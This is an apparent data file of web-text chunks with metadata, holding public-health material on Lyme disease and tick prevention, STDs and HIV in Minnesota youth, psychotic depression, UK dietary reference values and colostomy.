/ 2007 dynamed ' s systematic literature surveillance. available at : http : / / dynamed. ebscohost. com / about / about - us : van dijk n, quartieri f, blanc jj, et al. effectiveness of physical counterpressure maneuvers in preventing vasovagal syncope : the physical counterpressure manoeuvres trial ( pc - trial ). j am coll cardiol. 2006 ; 48 ( 8 ) : 1652 - 1657. last reviewed april 2013 by please be aware that this information is provided to supplement the care provided by your physician. it is neither intended nor implied to be a substitute for professional medical advice. call your healthcare provider immediately if you think you may have a medical emergency. always seek the advice of your physician or other qualified health provider prior to starting any new treatment or with any questions you may have regarding a medical condition. copyright", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49671521676640396, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.186859"} {"text": "be tick free - a guide for preventing lyme disease lyme disease in new york state the new york state department of health ( nysdoh ) and local health departments continue to investigate the spread of lyme disease throughout new york state. lyme disease is a bacterial infection caused by the bite of an infected deer tick. untreated, the disease can cause a number of health problems. patients treated with antibiotics in the early stage of the infection usually recover rapidly and completely. since lyme disease first became reportable in 1986, over 98, 500 cases have been confirmed in new york state. what is lyme disease? lyme disease is caused by bacteria transmitted by the deer tick ( ixodes scapularis ). lyme disease may cause symptoms affecting the skin, nervous system, heart and / or joints of an individual. over 98, 500 cases have been reported to the new york state department of health since lyme disease became reportable in 1986. who gets lyme disease? lyme disease can affect people of any age. people who spend time in grassy and wooded environments are at an increased risk of exposure. the chances of being bitten by a deer tick are greater during times of the year when ticks are most active. young deer ticks, called nymphs, are active from mid - may to mid - august and are about the size of poppy seeds. adult ticks, which are approximately the size of sesame seeds, are most active from march to mid - may and from mid - august to november. both nymphs and adults can transmit lyme disease. ticks can be active any time the temperature is above freezing. infected deer ticks can be found throughout new york state. how is lyme disease transmitted? not all deer ticks are infected with the bacteria that cause lyme disease. ticks can become infected if they feed on small animals that are infected. the disease can be spread when an infected tick bites a person and stays attached for a period of time. in most cases, the tick must be attached for 36 hours or more before the bacteria can be transmitted. lyme disease does not spread from one person to another. transfer of the bacteria from an infected pregnant woman to the fetus is extremely rare. what are the symptoms of lyme disease? in 60 - 80 percent of cases, a rash resembling a bull ' s eye or solid patch, about two inches in diameter, appears and expands around or near the site of the bite. sometimes, multiple rash sites appear. the early", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4377769340614142, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.215864"} {"text": "light - colored clothing with a tight weave to spot ticks easily. - wear enclosed shoes, long pants and a long - sleeved shirt. tuck pant legs into socks or boots and shirt into pants. - check clothes and any exposed skin frequently for ticks while outdoors and check again once indoors. - consider using insect repellent. follow label directions. - stay on cleared, well - traveled trails. avoid contacting vegetation. - avoid sitting directly on the ground or on stone walls. - keep long hair tied back, especially when gardening. tick life cycle deer tick life cycle the deer tick passes through four life stages ( egg, larva, nymph, adult ), over a two year period egg to larvae eggs are fertilized in the fall and deposited in leaf litter the following spring. they emerge as larvae in late summer of that year, seeking their first blood meal. the tiny larva crawls around the forest floor and onto low - lying vegetation looking for an appropriate host. their first host is generally a mouse or other medium - sized mammal or bird. once attached, the larvae embed their mouth parts and feed for several days. if the host is infected with a disease such as lyme, the tick may be infected during this feeding. the larvae then drop off their host into the leaf litter where they molt into the next stage, the nymph, remaining dormant until the following spring. larvae to nymph during the spring and early summer of the next year the nymphs end their dormancy and begin to seek a host. nymphs are commonly found on the forest floor in leaf litter and on low lying vegetation. their host primarily consists of mice and other rodents, deer, birds and unfortunately humans. most cases of lyme disease are reported from may through august, which corresponds to the peak activity period for nymphs. this suggests that the majority of lyme disease cases are transmitted by nymphal deer ticks. after feeding for several days the nymph ticks drop off to the forest floor. nymph to adult over the next few months the nymph molts into the larger adult tick, which emerges in fall, with a peak in october through november. both male and female adults find and feed on a host, then the females lay eggs sometime after feeding. adult ticks wait for host animals from the tips of grasses and shrubs approximately one meter above the ground. when an animal or person brushes by the vegetation, they quickly let go and climb onto", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4104427822675435, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.218179"} {"text": "a host, then the females lay eggs sometime after feeding. adult ticks wait for host animals from the tips of grasses and shrubs approximately one meter above the ground. when an animal or person brushes by the vegetation, they quickly let go and climb onto the host. adult ticks feed on their host for five to seven days. the female will become engorged with blood, providing nourishment for her developing eggs. after feeding and mating, the female tick drops into the leaf litter where she lays thousands of eggs. she will become dormant as the temperature drops below 40\u00b0 f. ticks can only crawl ; they cannot fly or jump. ticks found on the scalp have usually crawled there from lower parts of the body. some species of ticks will crawl several feet toward a host. ticks can be active on winter days when the ground temperatures are above 45 degrees fahrenheit. there are two groups of ticks, sometimes called \" hard \" ticks and \" soft \" ticks. hard ticks, like the common dog tick and deer tick, have a hard shield just behind the mouthparts ( sometimes incorrectly called the \" head \" ) ; unfed hard ticks are shaped like a flat seed. soft ticks do not have the hard shield and they are shaped like a small raisin. soft ticks prefer to feed on birds or bats and are seldom encountered unless these animals are nesting or roosting in an occupied building. the most commonly encountered ticks in new york state are the deer tick, american dog tick, and lone star tick. how to remove a tick you find a tick attached to you or your child! don ' t panic. not all ticks are infected, and your risk of acquiring lyme disease is greatly reduced if the tick is removed within the first 36 hours after attachment. remove the tick promptly and properly : - using tweezers, grasp the tick as close to the skin as possible. - gently pull the tick in a steady, upward motion. - wash the area with a disinfectant. - when trying to remove the tick : - do not touch the tick with your bare hands. - do not squeeze the body of the tick as this may increase your risk of infection. - do not put alcohol, nail polish remover or vaseline on the tick. - do not put a hot match or cigarette on the tick in an effort to make it \" back out. \" - do not use your fingers to remove the tick. these methods do not work and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.452976181343971, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.219094"} {"text": "polish remover or vaseline on the tick. - do not put a hot match or cigarette on the tick in an effort to make it \" back out. \" - do not use your fingers to remove the tick. these methods do not work and only increase the likelihood the tick will transmit lyme disease to you. applying alcohol, nail polish remover, or a hot match can irritate a tick and cause it to regurgitate its gut contents into your skin. the gut contents of a tick can contain the lyme disease - causing bacterium. while removing a tick, if the tick ' s mouthparts break off and remain in your skin, don ' t worry. the mouthparts alone cannot transmit lyme disease, because the infective body of the tick is no longer attached. the mouthparts can be left alone. they will dry up and fall out by themselves in a few days, or you can remove them as you would a splinter. after cleaning the area, watch the site of the bite for the appearance of a rash 3 to 30 days after the bite. the rash will usually be at least 2 inches in diameter initially and will gradually expand to several inches in size. rashes smaller than the size of a quarter are usually a reaction to the bite itself and do not mean you have lyme disease. if you develop this type of rash or flu - like symptoms, contact your health care provider immediately. although not routinely recommended, taking antibiotics within three days after a tick bite may be beneficial for some persons. this would apply to deer tick bites that occured in areas where lyme disease is common and there is evidence that the tick fed for more than one day. in cases like this you should discuss the possibilities with your doctor or licensed health care provider. creating a tick - free zone around your home while deer ticks are most abundant in wooded areas, they are also commonly found in our lawns and shrubs. there are a number of measures homeowners can take to reduce the possibility of being bitten by a tick on their property. ticks and their primary hosts - mice, chipmunks and other small mammals - need moisture, a place away from direct sunlight and a place to hide. the cleaner you keep the area around the house, the less likely your chances of being bitten by a tick. although it may not be possible to create a totally tick - free zone, taking the following precautions will greatly reduce the tick population in your yard. - keep grass mowed. - remove leaf litter, brush and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4227610163153751, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.220013"} {"text": "chances of being bitten by a tick. although it may not be possible to create a totally tick - free zone, taking the following precautions will greatly reduce the tick population in your yard. - keep grass mowed. - remove leaf litter, brush and weeds at the edge of the lawn. - restrict the use of groundcover, such as pachysandra in areas frequented by family and roaming pets. - remove brush and leaves around stonewalls and wood piles. - discourage rodent activity. clean up and seal stonewalls and small openings around the home. - move firewood piles and bird feeders away from the house. - manage pet activity ; keep dogs and cats out of the woods to reduce ticks brought into the home. - use plantings that do not attract deer ( contact your local cooperative extension or garden center for suggestions ) or exclude deer through various types of fencing. - move children ' s swing sets and sand boxes away from the woodland edge and place them on a wood chip or mulch type foundation. - trim tree branches and shrubs around the lawn edge to let in more sunlight. - adopt dryer or less water - demanding landscaping techniques with gravel pathways and mulches. create a 3 - foot or wider wood chip, mulch, or gravel border between lawn and woods or stonewalls. consider areas with decking, tile, gravel and border or container plantings in areas by the house or frequently traveled. - widen woodland trails. - if you consider a pesticide application as a targeted treatment, do not use any pesticide near streams or any body of water, as it may kill aquatic life or pollute the water itself. always read and follow pesticide label directions and precautions tick and insect repellents : deciding on their use there are many different products on the market, with different ingredients, concentrations and effectiveness. the most effective contain deet, permethrin ( only to be applied on clothing ), picaridin or oil of lemon eucalyptus. if you decide to use one, be sure to follow label directions and apply repellent carefully. about insect repellents deet ( the label may say n, n - diethyl - m - toluamide ) comes in many different concentrations, with percentages as low as five percent or as high as 100 percent. in general, the higher the concentration the higher the protection, but the risk of negative health effects goes up, too. use the lowest concentration that you think will provide the protection you need. picari", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4120051579802222, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.220918"} {"text": "as five percent or as high as 100 percent. in general, the higher the concentration the higher the protection, but the risk of negative health effects goes up, too. use the lowest concentration that you think will provide the protection you need. picaridin ( also known as kbr3023 ) and oil of lemon eucalyptus were registered for use in new york state in 2005. both repellents have been shown to offer long - lasting protection against mosquito bites but there are limited data regarding their ability to repel ticks. products containing permethrin are for use on clothing only, not on skin. permethrin kills ticks and insects that come in contact with treated clothes. permethrin products can cause eye irritation, particularly if label directions have not been followed. animal studies indicate that permethrin may have some cancer - causing potential. permethrin is effective for two weeks or more if the clothing is not washed. keep treated clothing in a plastic bag when not in use. if you decide to use any kind of repellent, carefully read and follow all label directions before each use. on the labels, you will find important information about how to apply the repellent, whether it can be applied to skin and / or clothing, special instructions for children, hazards to humans, physical or chemical hazards and first aid. children, pregnant women and repellents children may be at greater risk for adverse reactions to repellents, in part, because their exposure may be greater. - keep repellents out of the reach of children. - do not allow children to apply repellents to themselves. - use only small amounts of repellent on children. - do not apply repellents to the hands of young children because this may result in accidental eye contact or ingestion. - try to reduce the use of repellents by dressing children in long sleeves and long pants tucked into boots or socks whenever possible. use netting over strollers, playpens, etc. - as with chemical exposures in general, pregnant women should take care to avoid exposures to repellents when practical, as the fetus may be vulnerable. when thinking about using a repellent, consider a combination of things, including where you are, how long you will be outside and how bad the bugs are, and if those bugs carry disease. every situation is different. use the following questions to make a \" profile \" that fits your situation - this may help you decide if you want to use", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4266211661231456, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.221833"} {"text": "how long you will be outside and how bad the bugs are, and if those bugs carry disease. every situation is different. use the following questions to make a \" profile \" that fits your situation - this may help you decide if you want to use a repellent, and if so, which kind. what type of pest are you concerned about? ticks may be more difficult to repel than mosquitoes. repellents provide some protection against ticks, as does wearing lightcolored, long - sleeved shirts and long pants, with bottoms tucked into socks and boots. when will you be outside? where will you be? some pests are more active at certain times. for example, some mosquitoes are most active between dusk and dawn. ticks may be active at any time of day. some places are more likely to have higher activity too. mosquitoes generally live in areas with brush and trees. ticks prefer areas with tall grass, brush and trees. how long will you be outside? are you doing some gardening, going on a hike, camping for a week? the longer you are out, the more protection you may need. some people exposed to high numbers of ticks and mosquitoes for long periods of time use a two - part approach. with this approach, about 33 percent deet in a controlled release formula is applied on exposed skin, and clothing is treated with permethrin. if, on the other hand, you are going to do some yard work or have a picnic during mid - day when mosquito activity is low and you decide to use an insect repellent, deet concentrations as low as five percent may provide sufficient protection from mosquito bites for up to about four hours. remember! if you decide to use a repellent, use only what and how much you need for your situation. lyme disease and pets lyme disease is not limited to humans. veterinarians have reported lyme in both dogs and cats. just as with humans, it is important for animals to avoid tick bites and receive prompt treatment for lyme disease. tick bite prevention : - when walking or exercising your pet outdoors, try to keep it away from grassy or wooded areas and leafy debris. - check your pet regularly for ticks, especially after any trips through grassy or wooded areas. comb through your pet ' s hair thoroughly. - if you find a find a tick, remove it promptly. - consult your veterinarian about treating your dog or cat with tick - killing pesticides ( ac", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4401285908886221, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.222754"} {"text": "any trips through grassy or wooded areas. comb through your pet ' s hair thoroughly. - if you find a find a tick, remove it promptly. - consult your veterinarian about treating your dog or cat with tick - killing pesticides ( acaricides ) or using tick collars. there are many pesticides aimed at preventing tick bites, but some people and animals may be sensitive to the chemicals they contain. - there is currently a lyme disease vaccine available for dogs. however, there are varying opinions on its effectiveness. consult your veterinarian about the vaccine. - if you find several ticks on your dog, you may wish to discuss an insecticidal bath with your veterinarian or groomer. symptoms of lyme disease in pets : symptoms of lyme disease in animals are similar to the symptoms in humans. although you will not see a skin rash on your pet, they can experience a range of symptoms : - in dogs : some infected dogs do not experience any symptoms of lyme disease. symptoms include lethargy, arthritis ( displayed as joint pain, shifting from foot to foot, and lameness ), fever, fatigue, and kidney damage. symptoms can become chronic. - in cats : while there is some debate about whether cats suffer from lyme disease, cats are thought to be highly resistant to the disease. treatment of lyme disease in pets : as with humans, animals are generally treated for lyme disease with certain antibiotics. however, you should consult your veterinarian about proper treatment of your pet. questions or comments send an email to email @ example. com", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4034606147719854, "token_count": 325, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.225873"} {"text": "hiv / aids & stis sexually transmitted diseases and adolescent health between 2004 and 2005 in minnesota, the chlamydia rate increased by 5 % and the gonorrhea rate increased by 18 %. std rates continued to be highest in the seven - county metropolitan area, particularly in the cities of minneapolis and st. paul. adolescents and young adults aged 15 - 24 years have the highest rates of chlamydia and gonorrhea. in minnesota, laboratory - confirmed infections of chlamydia, gonorrhea, syphilis, and chancroid are monitored by the mdh. other common sexually transmitted conditions caused by viral pathogens, such as herpes simplex virus ( hsv ) and human papillomavirus ( hpv ), are not reported to the mdh. sexually transmitted diseases sexually transmitted diseases or stds, also referred to as sexually transmitted infections, do not refer to any one disease but include more than 25 infectious organisms that are transmitted through sexual activity and the dozens of clinical syndromes that they cause. stds are almost always spread from person to person by sexual intercourse, most commonly by anal or vaginal intercourse. stds are less often spread through oral sex. some stds, such as hepatitis b or hiv infection, are also transmitted through blood - to - blood contact through the sharing of needles or equipment to inject drugs, body pierce or tattoo. pregnant women with stds may pass their infections to infants during pregnancy or birth or through breast feeding. this page serves as an inventory of all other documents available on the subject of stds that the mdh has produced. documents cover the topics of std surveillance, std basics and std testing. this page will also allow access to individual fact sheets ( available in english, amharic, oromo, spanish, and somali ) for the most common stds : genital herpes ( herpes simplex virus or hsv ) genital warts ( human papillomavirus or hpv ) human immunodeficiency virus ( hiv \u2013 the virus that causes aids ) nongonococcal urethritis ( ngu ) pubic lice ( crabs, pediculus pubis ) syphilis ( syph, pox ) vaginitis ( yeast infection, trichomonas, bacterial vaginosis ) for more information about stds in minnesota, go to : http : / / www. health. state. mn. us / divs / idepc", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4226753781043943, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.231271"} {"text": ") vaginitis ( yeast infection, trichomonas, bacterial vaginosis ) for more information about stds in minnesota, go to : http : / / www. health. state. mn. us / divs / idepc / dtopics / stds / index. html hiv / aids and adolescent health in 1990, 10 % of new hiv infections reported to the mdh were among youth. in 2005 this percentage was 17 %. among young men, the number of new hiv diagnoses peaked in 1992 at 46 cases and then declined through the mid 1990s to a low of 14 cases in 1997. since 1997 the annual number of cases diagnosed among young men increased steadily to 28 in 2000, but then dropped to 18 cases in 2002. however, over the past four years that number has increased steadily from 18 cases in 2002 to 29 cases in 2005, a sixty - percent increase. unlike young men, the annual number of new hiv infections diagnosed among young women has remained relatively consistent over time. for example, 19 cases of hiv infection were diagnosed among young women in 1992 and 21 cases in 2005. females accounted for 42 % ( 21 / 50 ) of new hiv infections diagnosed among adolescents and young adults in 2005. in contrast, adult females ( 25 years of age or older ) accounted for only 26 % ( 67 / 254 ) of all adult cases. additionally, young women accounted for 24 % ( 21 / 88 ) of new infections among females, while young males accounted for 13 % ( 29 / 216 ) of new infections among males. similar to the adult hiv / aids epidemic, persons of color account for a disproportionate number of new hiv infections among adolescents and young adults. many people are infected with hiv for years before they actually seek testing and become aware of their hiv status. this phenomenon especially affects the observed case counts for younger age groups. and as a result, the reported number of hiv infections among youth ( with few or no reports of aids at first diagnosis ) is likely to underestimate the true number of new infections occurring in the population more than the reported number of cases in older age groups does. minnesota department of health hiv / aids home page the hiv / aids website serves as an inventory of all other documents available on the subject of hiv / aids that the mdh has produced. documents cover the topics of hiv / aids surveillance, hiv basics, hiv testing, hiv community planning, and hiv and other diseases and conditions.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42543118138790703, "token_count": 499, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.232180"} {"text": "psychotic depression, otherwise known as major depressive disorder with psychotic features, is being considered as a disorder in its own right according to a medicalnewstoday report. there are three particular features of psychotic depression that stand apart from non - psychotic depression. the first of these are paranoid beliefs that may involve sinister notions of being monitored, tracked, followed or whispered about. visual or auditory hallucinations may be present but more commonly delusions ( false beliefs ), perhaps in the form of special messages, or fearful beliefs about what is happening or about to happen. aside from psychotic symptoms, people with psychotic depression may also exhibit higher levels of anxiety, agitation, hypochondria, insomnia and cognitive impairment ( e. g. concentration, memory, reasoning problems ). psychotic depression has tended to be regarded as relatively uncommon, or as a potential feature of depression if symptoms are especially severe. however, one of the known issues with psychotic depression is the insight to which some sufferers appear to have into their situation. unlike a psychotic illness such as schizophrenia where insight is lacking, people with psychotic depression often hide their experiences because they know them not to be true. this probably masks the true extent of the condition and may even make treatment less effective. according to grace rattue \u2019 s article in medical news today, there remains some dispute over whether psychotic depression should be considered a distinct diagnostic category at all. one reason for this is its low diagnostic stability. the validity of psychiatric diagnosis hinges upon stability of diagnosis over time, so the more stable the diagnosis, the more likely it is to reflect a consistent process. however, those promoting a change in diagnostic practices make the case that the disorder is already sufficiently distinct. they point, for example, to higher mortality rates, a strong hereditary component, a higher risk of developing bipolar disorder and differences in treatment response and prognosis. at present the treatment of psychotic depression involves combinations of antidepressant and antipsychotic medications. if these are ineffective then electroconvulsive therapy ( ect ) may be considered. this is generally very effective. in terms of prognosis, most people with psychotic depression show good recovery within a year and if symptoms to return they are often more likely to be depressive than psychotic.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49776844655219665, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.234466"} {"text": "health and social behaviour : dietary reference values ( drvs ), current dietary goals, recommendations, guidelines and the evidence for them three main types of dietary recommendations may be produced by public health agencies : dietary allowances ( drvs ), dietary goals, and dietary guidelines. dietary allowances are quantitative guidelines for different population subgroups for the essential macro - and micro - nutrients to prevent nutritional deficiencies. dietary goals are quantitative national targets for selected macronutrients and micronutrients aimed at preventing long - term chronic disease e. g. coronary heart disease, stroke and cancer. they are usually aimed at the national population level rather than the individual level. dietary guidelines are broad targets aimed at the individual to promote nutritional well - being. they were initially introduced for macronutrients but are now being used for micronutrients. dietary guidelines can be expressed as quantitative targets ( e. g. five servings of fruit and vegetables / day ) or as qualitative guidelines ( e. g. eat more fruit and vegetables ). - the human body needs a variety of nutrients and the amount of each nutrient needed is called the nutrient requirement. - in the uk, estimated requirements for various groups within the uk population were examined and published by the committee on medical aspects of food and nutrition policy ( coma ) in the 1991 report dietary reference values for food energy and nutrients for the united kingdom. coma has now been replaced by the scientific advisory committee on nutrition ( sacn ) who are likely to review the uk nutritional requirements in the near future. - drvs are a series of estimates of the amount of energy and nutrients needed by different groups of healthy people in the uk population ; they are not recommendations or goals for individuals. - drvs have been set for following groups : boys and girls aged 0 - 3 months ; 4 - 6 months ; 7 - 9 months ; 10 - 12 months ; 1 - 3 years ; 4 - 6 years ; 7 - 10 years males aged 11 - 14 years ; 15 - 18 years ; 19 - 50 years ; 50 + years females aged 11 - 14 years ; 15 - 18 years ; 19 - 50 years ; 50 + years ; pregnancy and breastfeeding - in order to take account of the distribution of nutritional requirements within the population, coma used four dietary reference values ( drvs ) : - estimated average requirements ( ears ) - reference nutrient intakes ( rnis ) - lower reference nutrient intakes ( lrnis ) - safe intake source : food and agriculture organization of the united nations - ear is an", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48767113228968545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.241892"} {"text": "values ( drvs ) : - estimated average requirements ( ears ) - reference nutrient intakes ( rnis ) - lower reference nutrient intakes ( lrnis ) - safe intake source : food and agriculture organization of the united nations - ear is an estimate of the average requirement of energy or a nutrient needed by a group of people i. e. approximately 50 % of people will require less, and 50 % will require more. - rni is the amount of a nutrient that is enough to ensure that the needs of nearly all a group ( 97. 5 % ) are being met i. e. the majority will need less. - lrni is the amount of a nutrient that is enough for only a small number of people in a group who have low requirements ( 2. 5 % ) i. e. the majority need more. - safe intake is used where there is insufficient evidence to set an ear, rni or lrni. the safe intake is the amount judged to be enough for almost everyone, but below a level that could have undesirable effects. - the amount of each nutrient needed differs between individuals and at different life stages. individual requirements of each nutrient are related to a person \u2019 s age, gender, level of physical activity and health status. - the changes in estimated nutritional requirements at different life - stages are outlined in table 1 below : table 1 : nutritional requirements at different life - stages first 4 - 6 months of life ( period of rapid growth and development ) breast milk ( or infant formula ) contains all the nutrients required. between 6 - 12 months - requirements for iron, protein, thiamin, niacin, vitamin b6, vitamin b12, magnesium, zinc, sodium and chloride increase. department of health advice recommends exclusive breastfeeding until 6 months of age with weaning introduced at 6 months. energy requirements increase ( children are active and growing rapidly ). protein requirements increase slightly. vitamins requirements increase ( except vitamin d ). mineral requirements decrease for calcium, phosphorus and iron and increase for the remaining minerals ( except for zinc ). requirements for energy, protein, all the vitamins and minerals increase except c and d and iron. requirements for energy, protein, all vitamins and minerals increase except thiamin, vitamin c and a. requirements for energy continue to increase and protein requirements increase by approximately 50 %. by the age of 11, the vitamin and mineral requirements for boys and girls start to differ. boys : increased requirement for all the vitamins and minerals. girls", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5068713134035929, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.242814"} {"text": "and a. requirements for energy continue to increase and protein requirements increase by approximately 50 %. by the age of 11, the vitamin and mineral requirements for boys and girls start to differ. boys : increased requirement for all the vitamins and minerals. girls : no change in the requirement for thiamin, niacin, vitamin b6, but there is an increased requirement for all the minerals. girls have a much higher iron requirement than boys ( once menstruation starts ). boys : requirements for energy and protein continue to increase as do the requirements for a number of vitamins and minerals ( thiamin, riboflavin, niacin, vitamins b6, b12, c and a, magnesium, potassium, zinc, copper, selenium and iodine ). calcium requirements remain high as skeletal development is rapid. girls : requirements for energy, protein, thiamin, niacin, vitamins b6, b12 and c, phosphorus, magnesium, potassium, copper, selenium and iodine all increase. boys and girls have the same requirement for vitamin b12, folate, vitamin c, magnesium, sodium, potassium, chloride and copper. girls have a higher requirement than boys for iron ( due to menstrual losses ) but a lower requirement for zinc and calcium. requirements for energy, calcium and phosphorus are lower for both men and women than adolescents and a reduced requirement in women for magnesium, and in men for iron. the requirements for protein and most of the vitamins and minerals remain virtually unchanged in comparison to adolescents ( except for selenium in men which increases slightly ). increased requirements for some nutrients. women intending to become pregnant and for the first 12 weeks of pregnancy are advised to take supplements of folic acid. additional energy and thiamin are required only during the last three months of pregnancy. mineral requirements do not increase. increased requirement for energy, protein, all the vitamins ( except b6 ), calcium, phosphorus, magnesium, zinc, copper and selenium. energy requirements decrease gradually after the age of 50 in women and age 60 in men as people typically become less active and the basal metabolic rate is reduced. protein requirements decrease for men but continue to increase slightly in women. the requirements for vitamins and minerals remain virtually unchanged for both men and women. after the menopause, women \u2019 s requirement for iron is reduced to the same level as that for men. after the age of 65 there is a reduction in energy needs but vitamin", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4800821095191841, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.244714"} {"text": "vitamins and minerals remain virtually unchanged for both men and women. after the menopause, women \u2019 s requirement for iron is reduced to the same level as that for men. after the age of 65 there is a reduction in energy needs but vitamins and minerals requirements remain unchanged. this means that the nutrient density of the diet is even more important. drvs are estimates of energy and nutrient intakes and should therefore be used as guidance but should not be considered as exact recommendations. they show the amount of energy / nutrient that a group of people of a certain age range ( and sometimes sex ) needs for good health and they only apply for healthy people. current dietary goals, recommendations, guidelines and the evidence for them the uk food standards agency issues guidance on dietary recommendations on behalf of the department of health for the general public. the current government recommendations are outlined in table 2 below. table 2 : government dietary recommendations | total fat | | reduce to no more than 35 % of food energy ( currently at 35. 3 % ) | | saturated fat | | reduce to no more than 11 % of food energy ( currently at 13. 3 % ) | | total carbohydrate | | increase to more than 50 % of food energy ( currently at 48. 1 % ) | | sugars ( added ) | | no more than 11 % of food energy ( currently at 12. 7 % ) | | dietary fibre ( nsp ) | | increase the average intake of dietary fibre to 18g per day ( currently 13. 8g per day ). children \u2019 s intakes should be less | | fruit & vegetables | | increase to at least 5 portions ( 400g ) of a variety of fruit and vegetables per day ( currently 2. 8 portions per day ) | | alcohol | | should not provide more than 5 % of energy in the diet. women \u2013 should not regularly drink more than 2 - 3 units of alcohol / day men \u2013 should not regularly drink more than 3 - 4 units of alcohol / day | salt | | adults \u2013 no more than 6g salt a day ( 2. 4g sodium ) 1 to 3 years - 2 g salt a day ( 0. 8g sodium ) 4 to 6 years - 3g salt a day ( 1. 2g sodium ) 7 to 10 years - 5g salt a day ( 2g sodium ) 11 and over - 6g salt a day ( 2. 4g sodium ) the evidence for nutritional recommendations comes from a range of sources but particular emphasis is placed on coma reports", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4778924924562918, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.247408"} {"text": "7 to 10 years - 5g salt a day ( 2g sodium ) 11 and over - 6g salt a day ( 2. 4g sodium ) the evidence for nutritional recommendations comes from a range of sources but particular emphasis is placed on coma reports : - 1991, coma report on energy and nutrients provided evidence for the dietary recommendations for total fat, saturated fat, total carbohydrate, sugars, and dietary fibre. - 1994, coma recommended reducing the average salt intake of the population to 6g a day based on evidence of a link between high salt intake and high blood pressure. in 2003, the sacn reviewed the evidence ( e. g. intersalt study and dietary approaches to stop hypertension ( dash ) sodium trial ) since 1994 and concluded the strength for the association between high salt intake and hypertension had increased. high blood pressure increases the risk of stroke and cardiovascular disease. sacn confirmed that reducing salt intake to 6g per day would benefit the whole population. evidence for increasing the consumption of fruit and vegetables to 5 a day is provided by a number of sources. the department of health estimated that eating at least 5 portions of a variety of fruit and vegetables can reduce the risk of deaths from chronic diseases ( heart disease, stroke and cancer ) by up to 20 %, delay the development of cataracts, reduce the symptoms of asthma, improve bowel function and help to manage diabetes. - british nutrition foundation http : / / www. nutrition. org. uk [ accessed 01. 08. 08 ] - department of health. \u2018 dietary reference values for food and energy and nutrients for the united kingdom. \u2019 1991. report of the panel on dietary reference values of the committee on medical aspects of food policy. - department of health http : / / www. dh. gov. uk / en / publichealth [ accessed 01. 08. 08 ] - food standards agency http : / / www. food. gov. uk [ accessed 01. 08. 08 ] - gibney m., margetts b., kearney j., arab l. public health nutrition. the nutrition society. blackwell publishing. - lewis, g. sheringham, j. kalim, k. crayford, t. mastering public health : a postgraduate guide to examinations and revalidation. the royal society of medicine press limited. \u00a9 hannah pheasant 2008", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4389477469443913, "token_count": 484, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.248609"} {"text": "a colostomy is a surgical procedure that brings one end of the large intestine out through the abdominal wall. during this procedure, one end of the colon is diverted through an incision in the abdominal wall to create a stoma. a stoma is the opening in the skin where a pouch for collecting feces is attached. people with colostomies, whether temporary or long - term, have pouches attached to their sides where feces collects and can be easily disposed of. colostomies aren \u2019 t always permanent, especially in children with birth defects. however, people with chronic conditions may find near immediate relief from the surgery. a colostomy can result from one of several procedures to correct problems with the lower digestive tract. other \u201c ostomies \u201d include 